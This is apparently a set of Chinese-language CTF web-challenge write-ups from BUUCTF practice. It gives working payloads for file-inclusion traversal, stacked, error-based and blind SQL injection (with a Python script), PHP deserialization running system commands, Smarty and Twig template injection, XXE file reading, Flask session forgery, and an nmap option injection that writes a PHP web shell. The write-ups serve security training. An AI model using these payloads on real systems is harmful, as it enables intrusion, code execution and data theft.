[HCTF 2018]WarmUp
index源码注释叫我们直接访问source.php
直接访问可得到源码
看不懂抄一手
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
//传入了变量page,也就是我们刚刚传进来的file
{
// 这里定义了白名单,包括source.php和hint.php
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
/*为了返回 true 两个条件必须满足
1 page存在
2 page是字符串 ,
这里和外层的判断file 一致基本是再次判断了一遍*/
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
/*in_array(search,array,type) 函数搜索数组中是否存在指定的值,
白名单过滤,需要返回了ture
所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php,
这里是正常的访问,我们需要构造文件任意包含,所以这里传入的不满足条件,这里不是注意的点,往下继续看*/
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
/*这里mb_substr 是个截断,返回0到mb_strpos之间的内容,而mb_strpos 则是查找第一次出现的位置,所以基本可以理解为获取page 两个?之间的字符串,也就是获取file两个?之间的字符串,放到url中就是http://ip/?file=ddd?中的file=ddd*/
if (in_array($_page, $whitelist)) {
return true;
}
//这里和上面类似 查看_page 是否在白名单中
$_page = urldecode($page); // 这里发现对_page进行了一次decode解码,
$_page = mb_substr( //获取两个??之间的内容
$_page,
0,
mb_strpos($_page . '?', '?')
);
//先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'),构造url:
// 这里是我们要绕过的点,从这里往上看 尝试构造
if (in_array($_page, $whitelist)) {//白名单
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
/*必须满足if条件,才能包含file,这里也可以猜到可能考的是文件包含:
1 REQUEST['file']不为空
2 REQUEST['file']是字符串
3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true*/
?>
考察代码审计,只要能通过checkFile函数就行,这里会获得俩??之间的字符串来判断,所以playload里面得有?hint.php?
再然后不知道ffffllllaaaagggg
在那个目录,就得路径穿越了,构造../
payload:
http://249c777a-c885-4ab3-bef4-4efb5270da80.node5.buuoj.cn:81/index.php?file=hint.php?../../../../../ffffllllaaaagggg
[SUCTF 2019]EasySQL
sql注入题
后端
select $_POST['query'] || flag from Flag;
payload
1;select *,1
结果就成了
select 1;select *,1 || flag from Flag;
导致堆叠注入输出flag
或者设置SQL_MOD
SQL_MOD:是MySQL支持的基本语法、校验规则
其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。
mysql> set sql_mode=PIPES_AS_CONCAT;
Query OK, 0 rows affected (0.00 sec)
mysql>
mysql> select 1 || 'flag';
+-------------+
| 1 || 'flag' |
+-------------+
| 1flag |
+-------------+
1 row in set (0.00 sec)
mysql> select 'a' || 'flag';
+---------------+
| 'a' || 'flag' |
+---------------+
| aflag |
+---------------+
1 row in set (0.00 sec)
payload
1;set sql_mod=PIPES_AS_CONCAT;select 1
插入SQL语句就成为
select concat(1,flag) from Flag;
[强网杯 2019]随便注
考察堆叠注入
';show tables--+
得到表名
';show columns from `1919810931114514`--+
得到flag字段
最后
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
handler
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
1 ';handler (数据表) open ;handler (数据表) read first;handler (数据表) close; % 23
rename:
修改一个或多个表的名称
RENAME TABLE old_table_name TO new_table_name;
alert:
向表中添加字段
Alter table [表名] add [列名] 类型
保留old和new列名
列名:a ---->b 列类型
ALTER TABLE t1 CHANGE a b INTEGER;
由于这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表(1919810931114514)改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1 %27;rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
[RoarCTF 2019]Easy Calc
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
f12查看源码发现calc.php
传参发现存在waf拦截
利用php特性绕过:
PHP的字符串解析特性
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET
或的关联数组$_POST
。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42
会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00
的值将存储到$_GET[“news_id”]
中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
总的来说就是传参前面的空格会被删除,]
符号会被替换成_
所以传参的时候遇到下划线得用]
替代
所以绕过的payload就为? num=a
列出根目录文件
scandir()
列出目录中的文件和目录
eg: scandir('/')
Array
(
[0] => .
[1] => ..
[2] => cat.gif
[3] => dog.gif
[4] => horse.gif
[5] => myimages
)
Array
(
[0] => myimages
[1] => horse.gif
[2] => dog.gif
[3] => cat.gif
[4] => ..
[5] => .
)
读取文件
var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))`
var_dump()
标准打印数组
file_get_contents()
读取文件
[HCTF 2018]admin
flask session伪造
可以从网页里翻出源码的,但是源码被删了
有了源码就可以在config.py
里面找到secret_key
找到后就可以加解密了
PS E:\Desktop\ctf\flask-session-cookie-manager-master> python39.exe .\flask_session_cookie_manager3.py decode -c .eJxFkMGKwkAMhl9lydlDO9WL4EEZt7SQKS5TS-Yiaqttp3GhKrYjvvsOLuwecvqS7-fPE3anvrrWML_192oCu6aE-RM-DjAHLBJhOAmQMTQxCnSGydFI-jylFgcS-ejZ4CfKJIWoKSB3jJTnKDFQWtlMf9ZKrx-oy4ZcPmbSjqbwjNPO8Jclt-ow3raZrjvUqxrllpXOIyOtUO0yNJIeRi4HciUrl8wwTgS5tch0EimZtqRX7HcX8JrA8dqfdrdvW13-Kwh_HiczYuX1-QyLzZDF20ZJFEr4mCJlZNMYnXZZsX6YtrS4XLx1De_P1Z8pt9PpYfNLLnv2APYlN5cQJnC_Vv37cRAG8PoBOrNsUg.Zh1BCg._LSyxZCqUDbr3zU2RkUofmHE5PM
b'{"_fresh":true,"_id":{" b":"MWI2ZmI0MmM1ZGM2MzZmYzYyYTg4YjMxY2UyMmMxMmM3ODY1MTY0Yzc3NTg4MDM0NTNkOTFhNTEwMTdiYzUyODkyZWM0NmJlZmRkYzBlMGVjOThlMTBhMDVmNTU3ZDk2NjA1ZDYwZDAxYzdmNzI5MGI2YzE2OTI3NDJjYTBmZDk="},"csrf_token":{" b":"M2YwZGI5YmNlMTU5MWQxOGViNDM2N2U3ZWJmMmZiZTJlOWEwZjdkMA=="},"image":{" b":"Uk44bQ=="},"name":"admin1","user_id":"10"}'
更改admin1为admin后就行
但是有一个很坑的点就是这里用的双引号,但是加密的时候得用单引号,所以要把双引号改成单引号后加密
E:\Desktop\ctf\flask-session-cookie-manager-master>python39.exe flask_session_cookie_manager3.py encode -s ckj123 -t "{'_fresh': True, '_id': b'a964ffdf9ad843337371b754fe4dee5f513139037266dcff517e58e1
e59fd05671c5370244ce3d91eb5b1c44857c213c8de30f4c6d3d604d0724863c8a99a6aa', 'csrf_token': b'd1bffe11dbd467f7d2a1b79345789c2599b72276', 'image': b'1JK4', 'name': 'admin', 'user_id': '10'}"
.eJw9kE9vgkAQR79KM2cO_NELiQeaBWLSGaJZJLsXQhEtuyxtUFNZ43fvahMPc3rJy-_NDerD1J2-ID5Pl86Dut9DfIO3T4hBcB1SLo3MxVJUmwUxtGhbSzbryZa-NO7y3UCVCJDjFa3-dXwmJbUIpSGeRpKXC8mzgfhgJEsCUu1V2NI5kpnYVklOunBcqF2PFfrEjgGFOCMnVeTbAe27oRxDyUiTSnzniFC5LerB02VRpaGo0hXcPWhP06E-f-tufCVIlvUuYECeaWE2Pqm9oXAzC_5I0JZYGRVsUKhKp1o79Tqi4-qp601z7F4mLH8-KPknY2McgGZv-hE8uJy66fk3CHy4_wFvSmyb.Zh1Ggw.UpY4s73R-GH8qEUu6u1i8Ynd_X4
最不理解的一集
[护网杯 2018]easy_tornado
三个文件
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
通过rander
可以发现使用的是flask
当随意输值后可以发现报错,而且msg存在模板注入,但是这里要获得 cookie_secret
而我们查官方文档,tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类
RequestHandler.settings又指向self.application.settings
所以我们可以说handler.settings指向了RequestHandler.settings了,对吧
这样我们就可以构造一下payload:?msg={{handler.settings}}
于是获得cookie_secret:
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '66d79cfd-d1a2-4d07-a00a-a49d062befe7'}
[极客大挑战 2019]HardSQL
报错注入
extractvalue
'admin '^extractvalue(1,concat(0x5c,(select(database()))))%23
extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x5c))%23
extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(((table_schema)like(database()))and((table_name)like('H4rDsq1')))),0x5c))%23
^extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1)),0x5c))%23
被截断
extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),32),0x5c))%23
extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),20),0x5c))%23
[GXYCTF 2019]BabySQli
先是测试,发现有waf,查看源码发现sql语句
select * from user where username = '$name'
使用union联合注入,发现一共有三个位置
当密码传入的是数组时发现报错,可以确定密码进行了md5加密,当把admin放在第二个位置时,发现提示密码错误,即可猜到三个位置分别为id,username,password
又知道当密码传入是数组时返回NULL,那么我们也可构造密码为NULL从而绕过登录
payload
name=a' union select 1,'admin',NULL #&pw[]=1
[CISCN2019 华北赛区 Day2 Web1]Hack World
先bp爆破哪些关键字被过滤了
`
~
!
@
#
$
%
^
&
*
(
)
-
_
=
+
[
]
{
}
|
\
;
:
'
"
,
.
<
>
/
?
--
--+
/**/
&&
||
<>
!(<>)
and
or
xor
if
not
select
sleep
union
from
where
order
by
concat
group
benchmark
length
in
is
as
like
rlike
limit
offset
distinct
perpare
declare
database
schema
information
table
column
mid
left
right
substr
handler
ascii
set
char
hex
updatexml
extractvalue
regexp
floor
having
between
into
join
file
outfile
load_file
create
drop
convert
cast
show
user
pg_sleep
reverse
execute
open
read
first
case
end
then
iconv
greatest
再结合布尔盲注知识写payload
id=0^(ascii(substr((select(flag)from(flag)),2,1))>0)
脚本
import requests
url = "http://80ff8565-6961-45a6-9b90-dbb64f939008.node5.buuoj.cn:81/index.php"
for j in range(1,100):
for i in range(128,32,-1):
data={"id":"0^(ascii(substr((select(flag)from(flag)),"+str(j)+",1))>"+str(i)+")"}
quest=requests.post(url,data)
while(quest.status_code != 200):
quest=requests.post(url,data)
if "glzjin" in quest.text:
print (chr(i+1),end="")
break
[RoarCTF 2019]Easy Java
点击help发现是文件下载,而且是java开发,把请求改成post(这里好像只能过猜)下载WEB-INF/web.xml
造成源码泄露
[网鼎杯 2018]Fakebook
扫目录发现/robots.txt
发现备份文件
有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话,
然后判断是否是有效的请求,如果不是则返回404,如果不是则返回url的内容,一个getBlogContents方法,返回一个url的内容
还有一个isValidBlog验证这是否是一个有效的blog地址,看大佬博客说,这段正则好像url中有.就可以匹配。
get方法中,curl_exec()如果使用不当就会导致ssrf漏洞。有一点思路了,而我们在御剑扫到了flag.php。猜测可能flag.php处于内网,
如果用ssrf访问flag.php,可以用伪协议`file://var/www/html/flag.php`访问。
后面就是正常的sql注入,数字型的,union
被过滤了,绕过方法是union/**/select
爆破出来是序列化字符串,把网页改成file://var/www/html/flag.php
也可得到flag.php
[BJDCTF2020]The mystery of ip
提示表明要使用xff,但是我没想到考的是ssti
根据报错发现是smarty模板
没学,看wp发现可以直接命令执行
{system('cat /flag')}
[网鼎杯 2020 朱雀组]phpweb
点进去看抓包,发现第一个参数是函数名,第二个参数是传参,用file_get_contents获取index.php
func=file_get_contents&p=index.php
获得源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
发现存在Test类,而且未过滤unserialize
则可构造反序列化
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
// $a->p = 'ls ../../../'; ==> O:4:"Test":2:{s:1:"p";s:12:"ls ../../../";s:4:"func";s:6:"system";}
// $a -> p = "find / -name 'flag*'"; ⇒ O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}
$a -> p = 'cat /tmp/flagoefiu4r93'; // ==> O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
$a -> func = 'system';
echo (serialize($a));
?>
[BSidesCF 2020]Had a bad day
一开始以为是sql注入,当输入'
发现报错,得到是用include包含,那首先想到的就是伪协议
http://51e6cadc-a1f6-40fc-a058-77625ad16e17.node5.buuoj.cn:81/index.php?category=php://filter/convert.base64-encode/resource=index.php
发现报错
Warning: include(php://filter/convert.base64-encode/resource=index.php.php): failed to open stream: operation failed in /var/www/html/index.php on line 37
多了一个.php
那么去除.php
即可得到源码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
那么就得有index,woofers,meowers中一个,可以套一层即可得payload
http://51e6cadc-a1f6-40fc-a058-77625ad16e17.node5.buuoj.cn:81/index.php?category=php://filter/convert.base64-encode/index/resource=flag
[BJDCTF2020]ZJCTF,不过如此
preg_replace /e 模式下的代码执行问题
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行
而这里面第二个参数含有\1
那么他会将被匹配到的第 1 个捕获子组捕获到的文本替换,总之就是\1
也被替换了,导致的命令执行
又因为特殊字符.
会被替换成_
所以我们这里传参是\S*=
别问为啥是\S
我不到啊
\S是什么意思?
正则表达式\S匹配非空字符
payload : \S*=${getFlag()}&cmd=system(%27cat%20/flag%27);
什么要匹配到{${phpinfo()}}
或者 ${phpinfo()}
,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。${phpinfo()}
中的 phpinfo()
会被当做变量先执行,执行后,即变成 ${1}
(phpinfo()成功执行返回true)。
[BUUCTF 2018]Online Tool
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 % 和 ! 字符前面都有一个插入符号(^)。
它们组合使用时就会造成漏洞(顺序不能改变),就借用一个大佬的例子,通俗易懂。
传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
也就是说,escapeshellcmd()函数转义了用于转义单引号的斜杠,导致这个单引号与后面的单引号形成了空白连接符就能执行命令了。
nmap构造命令
system函数里拼接了nmap的指令字符串。nmap中的-oG参数可以将代码与命令写到文件中,比如nmap <?php phpinfo();?> -oG 1.php
,就是将这个phpinfo()
;语句写在了1.php里内了。
payload?host=' <?php eval($_POST["hack"]);?> -oG hack.php '
注意这里的空格
[GXYCTF2019]禁止套娃
一开始啥都没,最后用dirsearch扫出.git
目录,所以是源码泄露
得到源码后就是代码审计
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if (isset($_GET['exp'])) {
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if (';' === preg_replace('/[a-z,_]+\((?R)?\)/', '', $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
} else {
die("还差一点哦!");
}
} else {
die("再好好想想!");
}
} else {
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
其中(?R)?
:(?R)
代表当前表达式,就是这个(/[a-z,_]+((?R)?)/)
,所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*
则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
无参数REC 一般有三种绕过姿势:
gettallheaders()
get_defined_vars()
session_id()
方法一:
payload
exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是”.”。
loacleconv 函数会固定返回一个 . 然后pos将我们获得的 .返回到我们构造的 payload 使得 scandir能够返回当前目录下的数组(换句话说,就是读出当前目录下的文件) rray_reverse()以相反的顺序输出(目的是以正序输出查询出来的内容)然后 next 提取第二个元素(将.过滤出去),最后用highlight_file()给显示出来。
方法二:
上面 的正则过滤中 其实并没有过滤掉 session_id()
所以我们可以使用 session_id来获取 flag
session_id() 可以用来获取/设置 当前会话 ID。
在我们使用 session_id()的时候 需要使用session_start()来开启session会话
我们尝试构造payload
?exp=highlight_file( session_id(session_start()));
Fake XML cookbook
xxe攻击
payload
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<user><username>&xxe;</username><password>
&xxe;</password></user>
[BJDCTF2020]Mark loves cat
函数重载
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
$$x = $$y;
存在函数重载,首先flag=flag
会造成$flag=$flag
,而后面的is=flag
会照成$is=$flag
,从而导致函数重载,通过exit()
泄露出来
payload
http://2680d063-6069-4766-9e84-8a35c77507cb.node5.buuoj.cn:81/index.php?flag=flag&is=flag
[BJDCTF2020]Cookie is so stable
twig ssti模板注入
具体可看ctf-ssti模板注入
payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}